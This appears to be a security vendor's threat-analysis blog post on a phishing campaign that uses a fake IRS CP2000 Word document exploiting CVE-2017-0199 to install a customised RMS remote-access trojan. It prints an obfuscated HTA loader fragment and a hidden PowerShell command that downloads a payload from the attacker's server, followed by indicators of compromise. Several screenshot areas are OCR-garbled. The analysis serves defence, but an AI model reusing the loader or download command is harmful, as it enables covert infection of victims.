Fake IRS notice delivers customized spying tool

blog.malwarebytes.com/threat-analysis/2017/09/cve-2017-0199-used-to-deliver-modified-rms-agent-rat/

Jérôme Segura

September 21, 2017



While macro-based documents and scripts make up for the majority of malspam attacks these days, we also see some campaigns that leverage documents embedded with exploits. Case in point, we came across a malicious Microsoft Office file disguised as a <u>CP2000</u> <u>notice</u>. The Internal Revenue Service (IRS) usually mails out this letter to taxpayers when information is incorrectly reported on a previous return.

Victims that fall for the scam will infect themselves with a custom Remote Administration Tool. A RAT can be utilized for legitimate purposes, for example by a system administrator, but it can also be used without a user's consent or knowledge to remotely control their machine, view and delete files or deploy a keylogger to silently capture keystrokes.

In this blog post, we will review this exploit's delivery mechanism and take a look at the remote tool it deploys.

Distribution

The malicious document is hosted on a remote server and users are most likely enticed to open it via a link from a phishing email. The file contains an OLE2 embedded link object which retrieves a malicious HTA script from a remote server and executes it. In turn, it

downloads the final payload, all with very little user interaction required since it is using <u>CVE-</u> <u>2017-0199</u>, first <u>uncovered</u> in April 2017 as a zero-day.

👿 🛃 🔊 - ೮ -	CP2000IRS.doc (Protected View) - Microsoft Word									23		000000000 2\bin0\b
File Home	Insert	Page Layout	References	Mailings	Review	View				∾ 🧯		000000000
1 Protected View	This file o	riginated from ar	n Internet locatio	on and might b	e unsafe. Cl	ick for more	ſ	Enable E	diting	X	00000000	000000000
-	actum									_		000000000
											100000000	000000000
							I				100000000	000000000
							I				000000000	000000000
							I				000000000	000000000
							I				000000000	000000000
							I				000000000	000000000
							I				000000000	000000000
							I					0000000
	Enal	ble Editing					I				·	
							I				* >00000000	000000000
							I			:		000000000
4										•	00000000	000000000
Page 1 of 1 Words	.0				Праг	a := = 10	00%			Á		
rage. 1 011 Words						• # = 10		/		U,		
000000000000000	000000	0000000000	000000000	0000000	02		yeee	¶ ₩ ♦ ♦K♦				
							-	D	81\'	1100	06600740070	\bin0\bi
n00000000000000	0000000	0000000000	0000000000	000000000	0000000	00000000	000	000000	0000	0000	000000000000000000000000000000000000000	000000000
000000000000000000000000000000000000000	0000000	000000013	8://			@lindr	upmar	rtinsen	.no/	http	odocs/test/	template
.1\'1100680074	0061\bi	in0\bin000	0000000000	000000000	0000000	00000000	00000	000000	0000	0000	000000000000000000000000000000000000000	000000000
METAFILEPICT	008988	000000000	0000000000	000000000	0000004	46yX��;	Ηφ,∢	∍]ą'cee	0000	i39	‰eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee	

82.211.30[.]108/css/**CP2000IRS.doc**

The embedded link points to an HTA script hosted under an unexpected location – a Norwegian company's compromised FTP server – which invokes PowerShell to download and execute the actual malware payload.

ftp://lindrupmartinsen[.]no:21/httpdocs/test/template.hta

```
script>
  function dqPKFBA(kCr1RA, u6zR) {
      return kCr1RA.charAt(u6zR);
   function ngXU(nma) {
      var eodq = "";
      var hMJ52nOwSs = 0;
      for (hMJ52nOwSs = nma.length - 1; hMJ52nOwSs >= 0; hMJ52nOwSs -= 1) {
          eodq += dqPKFBA(nma, hMJ52nOwSs);
      return eodq;
   }
   function ptAzZp(f58JPBt) {
      var g2okZy = "r";
      var mCEEP = "C";
      var v6gl1 = [];
      var yNx8 = "o";
      v6gl1[0] = "f" + g2okZy + yNx8 + "m";
      v6gl1[1] = mCEEP + "h";
      v6gl1[2] = g2okZy + mCEEP;
      v6gl1[3] = yNx8 + "de";
      var ly27iQvxyb = v6gl1[0] + v6gl1[1] + "a" + v6gl1[2] + v6gl1[3];
      var f7qvqnHWb6 = String;
      return f7qvqnHWb6[ly27iQvxyb](f58JPBt);
```

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
-WindowStyle Hidden (New-Object System.Net.WebClient)

.DownloadFile('http://82.211.30[.]108/css/intelgfx.exe',

'C:\Users\[username]\AppData\Roaming\62962.exe');

Payload

The downloaded payload (*intelgfx.exe*) extracts to several components into a local folder and achieves persistence using a decoy shortcut. The VBS scripts ensure that the main module runs without showing its GUI, in order to remain invisible to the victim.



RMS agent stands for <u>Remote Manipulator System</u> and is a remote control application made by a Russian company. It appears that in this case, the attackers took the original program (as pictured below) and slightly customized it, not to mention the fact that they are using it for nefarious purposes, namely spying on their victims.

NMS Agent	- • •
КМЗ АГЕНТ Удаленная поддержка	<u>rmansys-ru</u>
Your Internet-ID:	
Copy ID to clipboard.	
Your password:	
Copy password to clipboard. Generate new password-	
×	\$

Its source code shows the debugging path information and name that they gave to the module.

					C *G.P.U* - thread 00000B70, module taskhost						
□ 1 2 3 4 R S D S \ m ♥	5 6 7 8 9 A B C a \$	DEF \$ \ . 0 st	DB path		0875CFD4 0875CFD6 0875CFD7 0875CFD7 0875CFD7 0875CFD7 0875CFE4 0875CFE4 0875CFE8 0875CFE8 0875CFE8 0875CFF8 0875CFF8 0875CFF8 0875CFF8 0875CFF8 0875CFF8 0875CFF8 0875CFF8 0875CF8 087	33C0 55 35D07500 641F730 6416920 33C9 R1 64385620 82 01 R1 64385620 8445778 8645 8645 8645 8645 8645 8645 8645 864	XOR EAX,EAX PUSS EEP PUSS DATE EEP PUSS DATE FOR THE SEE TEAX HOU DUORD PTR FS: TEAX NOW EAX,ECX HOU DU,0%1 HOU EAX,DUORD PTR DS: E0x HOU EAX,DUORD PTR DS: E0x HOU EAX,DUORD PTR SS: EEP HOU EXTE PTR DS: TEAX+044 HOU EAX,DUORD PTR SS: TEAX HOU EAX,DUORD PTR SS: EEP HOU EAX,DUORD PTR SS: EEP CALL DUORD PTR SS: EEP	SP 5E38E41 Module name 50,681 51,684 51,68	"RMAN-4"		
5 Á é Disasm: .text	· · · ♥ · · · i · ÿ U · i ÿ u · · î î î î î î . ⊽ General DOS Hdr	è · · · è · · · ʊ · ì r File Hdr	Optional Hdr	Section Hdrs	C *G.P.U* - 006AD5F2 006AD5F8 006AD5FD 006AD605 006AD605 006AD605 006AD608 006AD608 006AD608 006AD602 006AD602	thread 00000840, mo LEA EAX, DWORD PTR MOU ECX, taskhost, MOU EDX, DWORD PTR CALL taskhost, 0044 MOU EAX, DWORD PTR MOU DL, 0×1 CALL taskhost, 0042 TEST O D	dule taskhost <u>SS:[EEP-04:300]</u> <u>30660784</u> <u>SS:[EEP-04:4]</u> <u>35608</u> <u>SS:[EEP-04:300]</u> 29060	UNICODE "Logs"			
•*• Offset 6B0 6B4 6B8 6D0	Name Val Characteristics 0 TimeDateStamp 4C MajorVersion 0	lue E78CA9	Meaning		006AD614 006AD616 006AD61C 006AD621 006AD624 006AD629 006AD629 006AD639 006AD639 006AD639 006AD639 006AD634	JN2 SHORT taskhost LEA EAX, DWORD PTR MOU ECX, taskhost.0 MOU ECX, DWORD PTR CALL taskhost.0044 MOU EAX, DWORD PTR CALL taskhost.0044 CALL taskhost.0044 FSTP GWORD PTR SS: WAIT	006ADD639 5311EEP-043004] 306AD784 5311EEP-04304] 36608 5311EEP-04304] 36608 36508 36508 36508 16609-0418]	UNICODE "Logs"			
6BC 6C0 6C4 6C8	MinorVersion 0 Type 2 SizeOfData 25 AddressOfRaw 22 PointerToRawD 22	70 70	Visual C++		006AD642 006AD645 006AD648 006AD648 006AD656 006AD656 006AD656 006AD658 006AD663 006AD663 006AD663 006AD665 006AD665 006AD665	PUSH DWORD PTR SS PUSH DWORD PTR SS LEA ECX DWORD PTR MOU EDX, DWORD PTR MOU EDX, DWORD PTR MOU EDX, taskhost, 0044 PUSH taskhost, 0044 PUSH taskhost, 0046 PUSH taskhost, 0066 PUSH taskhost, 0066 PUSH taskhost, 0066 PUSH taskhost, 0066 PUSH taskhost, 0066	ICEP-0x143 ICEP-0x183 SSIEEP-0x83 DSIE0x9185C1 DSIE0x9185C1 DSIE0x9185C1 DSIE0x9185C1 DSIE0x9185C1 DSIE0x92 ICEP-0x83 ICEP-0x83 ICEP-0x83 DSIE0	taskhost.0091ED20 UNICODE "yyyy_nm" UNICODE "Logs\\" UNICODE "_rms_log.txt"			

Office exploits and RATs

This is not the first time that CVE-2017-0199 is used to distribute a RAT. Last August, TrendMicro <u>described</u> an attack where the same exploit was adapted for PowerPoint and used to deliver the REMCOS RAT. It also shows that threat actors often repackage existing toolkits – which can be legitimate – and turn them into full-fledged spying applications.

We reported the compromised FTP server to its owner. <u>Malwarebytes</u> users were already protected against CVE-2017-0199 as well as its payload which is detected as *Backdoor.Bot*.



Thanks to <u>@hasherezade</u> for help with payload analysis.

Indicators of compromise

Word doc CVE-2017-0199

```
82.211.30[.]108/css/CP2000IRS.doc
47ee31f74b6063fab028111e2be6b3c2ddab91d48a98523982e845f9356979c1
```

HTA script

ftp://lindrupmartinsen[.]no:21/httpdocs/test/template.hta d01b6d9507429df065b9b823e763a043aa38b722419d35f29a587c893b3008a5

Main package (intelgfx.exe)

82.211.30[.]108/css/intelgfx.exe 924aa03c953201f303e47ddc4825b86abb142edb6c5f82f53205b6c0c61d82c8

RAT module

4d0e5ebb4d64adc651608ff4ce335e86631b0d93392fe1e701007ae6187b7186

Other IOCs from same distribution server

82.211.30[.]108/estate.xml 82.211.30[.]108/css/qbks.exe